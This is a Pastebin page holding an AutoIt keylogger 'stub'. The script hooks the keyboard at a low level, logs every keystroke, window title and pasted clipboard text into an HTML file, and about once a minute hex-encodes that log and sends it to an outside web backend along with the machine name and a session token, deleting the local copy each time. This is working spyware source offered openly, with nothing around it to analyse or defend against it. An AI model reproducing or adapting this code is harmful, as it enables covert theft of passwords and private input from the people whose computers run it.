Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 6.31 KB | None | 0 0
  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #AutoIt3Wrapper_Outfile=stub.exe
  3. #AutoIt3Wrapper_Change2CUI=y
  4. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  5. #include <MsgBoxConstants.au3>
  6. #include <StructureConstants.au3>
  7. #include <WinAPI.au3>
  8. #include <Misc.au3>
  9. #include <WindowsConstants.au3>
  10. #include <string.au3>
  11. #include <inet.au3>
  12.  
  13. Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = "", $lastwin
  14. $PCID = @ComputerName
  15. $username = FileRead(@ScriptFullPath&":username")
  16. $date = @YEAR&"-"&@MON&"-"&@MDAY
  17. $timer = TimerInit()
  18. $password = FileRead(@ScriptFullPath&":password")
  19. Example()
  20.  
  21. Func Example()
  22.     OnAutoItExitRegister("Cleanup")
  23.  
  24.     Local $hMod
  25.  
  26.     $g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
  27.     $hMod = _WinAPI_GetModuleHandle(0)
  28.     $g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
  29. $auth = StringTrimLeft(_INetGetSource("https://pdglobal.net/?sid=login&usr=" & $username & "&pwd=" & $password),3)
  30.  
  31.     While 1
  32.         Sleep(10)
  33.         if TimerDiff($timer) > 66623 Then
  34.         $data = _StringToHex(FileRead(@ScriptDir&"\temp.html"))
  35. _INetGetSource("https://pdglobal.net/?sid=freeloggerbackend&data="&$data&"&username="&$username&"&date="&$date&"&PCID="&$PCID&"&session="&$auth)
  36. FileDelete(@ScriptDir&"\temp.html")
  37. $timer = TimerInit()
  38.         EndIf
  39.  
  40.     WEnd
  41. EndFunc   ;==>Example
  42.  
  43. Func EvaluateKey($iKeycode)
  44.     if $lastwin <> WinGetTitle(WinGetHandle("")) Then
  45.                 $lastwin = WinGetTitle(WinGetHandle(""))
  46.                 FileWrite(@ScriptDir&"\temp.html", "<br/><Br/><font style='color:#0000FF'>["&WinGetTitle(WinGetHandle(""))&" "&@HOUR&":"&@MIN&":"&@SEC&"]</font><br/>")
  47.             EndIf
  48.     $date = @YEAR&"-"&@MON&"-"&@MDAY
  49.     if _IsPressed("11") Then
  50.         if $iKeycode = 86 Then
  51.             FileWrite(@ScriptDir&"\temp.html", ClipGet())
  52.             Return
  53.         EndIf
  54.  
  55.     EndIf
  56.     if $iKeycode = 13 Then
  57.             FileWrite(@ScriptDir&"\temp.html", "<font style='color:#005500'>{ENTER}</font><br/>")
  58.             Return
  59.     EndIf
  60.     if $iKeycode = 191 Then
  61.         if _IsPressed("10") Then
  62.             FileWrite(@ScriptDir&"\temp.html", "?")
  63.             Return
  64.         EndIf
  65.  
  66.             FileWrite(@ScriptDir&"\temp.html", "/")
  67.             Return
  68.     EndIf
  69.     if $iKeycode = 190 Then
  70.                 if _IsPressed("10") Then
  71.             FileWrite(@ScriptDir&"\temp.html", "&gt;")
  72.             Return
  73.         EndIf
  74.             FileWrite(@ScriptDir&"\temp.html", ".")
  75.             Return
  76.     EndIf
  77.     if $iKeycode = 188 Then
  78.                 if _IsPressed("10") Then
  79.             FileWrite(@ScriptDir&"\temp.html", "&lt;")
  80.             Return
  81.         EndIf
  82.             FileWrite(@ScriptDir&"\temp.html", ",")
  83.             Return
  84.     EndIf
  85.     if $iKeycode = 186 Then
  86.                 if _IsPressed("10") Then
  87.             FileWrite(@ScriptDir&"\temp.html", ":")
  88.             Return
  89.         EndIf
  90.             FileWrite(@ScriptDir&"\temp.html", ";")
  91.             Return
  92.     EndIf
  93.     if $iKeycode = 222 Then
  94.                 if _IsPressed("10") Then
  95.             FileWrite(@ScriptDir&"\temp.html", '"')
  96.             Return
  97.         EndIf
  98.             FileWrite(@ScriptDir&"\temp.html", "'")
  99.             Return
  100.     EndIf
  101.     if $iKeycode = 219 Then
  102.                 if _IsPressed("10") Then
  103.             FileWrite(@ScriptDir&"\temp.html", "{")
  104.             Return
  105.         EndIf
  106.             FileWrite(@ScriptDir&"\temp.html", "[")
  107.             Return
  108.     EndIf
  109.     if $iKeycode = 220 Then
  110.                 if _IsPressed("10") Then
  111.             FileWrite(@ScriptDir&"\temp.html", "|")
  112.             Return
  113.         EndIf
  114.             FileWrite(@ScriptDir&"\temp.html", "\")
  115.             Return
  116.     EndIf
  117.     if $iKeycode = 221 Then
  118.                 if _IsPressed("10") Then
  119.             FileWrite(@ScriptDir&"\temp.html", "}")
  120.             Return
  121.         EndIf
  122.             FileWrite(@ScriptDir&"\temp.html", "]")
  123.             Return
  124.     EndIf
  125.     if $iKeycode = 189 Then
  126.                 if _IsPressed("10") Then
  127.             FileWrite(@ScriptDir&"\temp.html", "_")
  128.             Return
  129.         EndIf
  130.             FileWrite(@ScriptDir&"\temp.html", "-")
  131.             Return
  132.     EndIf
  133.     if $iKeycode = 187 Then
  134.                 if _IsPressed("10") Then
  135.             FileWrite(@ScriptDir&"\temp.html", "+")
  136.             Return
  137.         EndIf
  138.             FileWrite(@ScriptDir&"\temp.html", "=")
  139.             Return
  140.     EndIf
  141.  
  142.  
  143.  
  144.     If (($iKeycode > 64) And ($iKeycode < 91)) _ ; a - z
  145.             Or (($iKeycode > 96) And ($iKeycode < 123)) _ ; A - Z
  146.             Or (($iKeycode > 47) And ($iKeycode < 58)) Then
  147.  
  148.     if _IsPressed("10") Then
  149.     if $iKeycode > 47 AND $iKeycode < 58 Then
  150.      switch Chr($iKeycode)
  151.             case 0
  152.                 FileWrite(@ScriptDir&"\temp.html", ")")
  153.             case 1
  154.                 FileWrite(@ScriptDir&"\temp.html", "!")
  155.             case 2
  156.                 FileWrite(@ScriptDir&"\temp.html", "@")
  157.             case 3
  158.                 FileWrite(@ScriptDir&"\temp.html", "#")
  159.             case 4
  160.                 FileWrite(@ScriptDir&"\temp.html", "$")
  161.             case 5
  162.                 FileWrite(@ScriptDir&"\temp.html", "%")
  163.             case 6
  164.                 FileWrite(@ScriptDir&"\temp.html", "^")
  165.             case 7
  166.                 FileWrite(@ScriptDir&"\temp.html", "&")
  167.             case 8
  168.                 FileWrite(@ScriptDir&"\temp.html", "*")
  169.             case 9
  170.                 FileWrite(@ScriptDir&"\temp.html", "(")
  171.      EndSwitch
  172.     return
  173.     EndIf
  174.  
  175.     FileWrite(@ScriptDir&"\temp.html", Chr($iKeycode))
  176. Else
  177.     FileWrite(@ScriptDir&"\temp.html", StringLower(Chr($iKeycode)))
  178. EndIf
  179. ElseIf ($iKeycode > 159) And ($iKeycode < 164) Then
  180.         Return
  181. elseif $iKeycode = 8 Then
  182.     FileWrite(@ScriptDir&"\temp.html", "<font style='color:#ff0000'>{<-}</font>")
  183. elseif $iKeycode = 32 Then
  184.     FileWrite(@ScriptDir&"\temp.html", "&nbsp;")
  185.  
  186. endif
  187.  
  188. EndFunc   ;==>EvaluateKey
  189.  
  190. ; ===========================================================
  191. ; callback function
  192. ; ===========================================================
  193. Func _KeyProc($nCode, $wParam, $lParam)
  194.     Local $tKEYHOOKS
  195.     $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
  196.     If $nCode < 0 Then
  197.         Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
  198.     EndIf
  199.     If $wParam = $WM_KEYDOWN Then
  200.         EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
  201.     Else
  202.         Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
  203.         Switch $iFlags
  204.             Case $LLKHF_ALTDOWN
  205.                 ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
  206.             Case $LLKHF_EXTENDED
  207.                 ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
  208.             Case $LLKHF_INJECTED
  209.                 ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
  210.             Case $LLKHF_UP
  211.                 ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @CRLF)
  212.         EndSwitch
  213.     EndIf
  214.     Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
  215. EndFunc   ;==>_KeyProc
  216.  
  217. Func Cleanup()
  218.     _WinAPI_UnhookWindowsHookEx($g_hHook)
  219.     DllCallbackFree($g_hStub_KeyProc)
  220. EndFunc   ;==>Cleanup
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement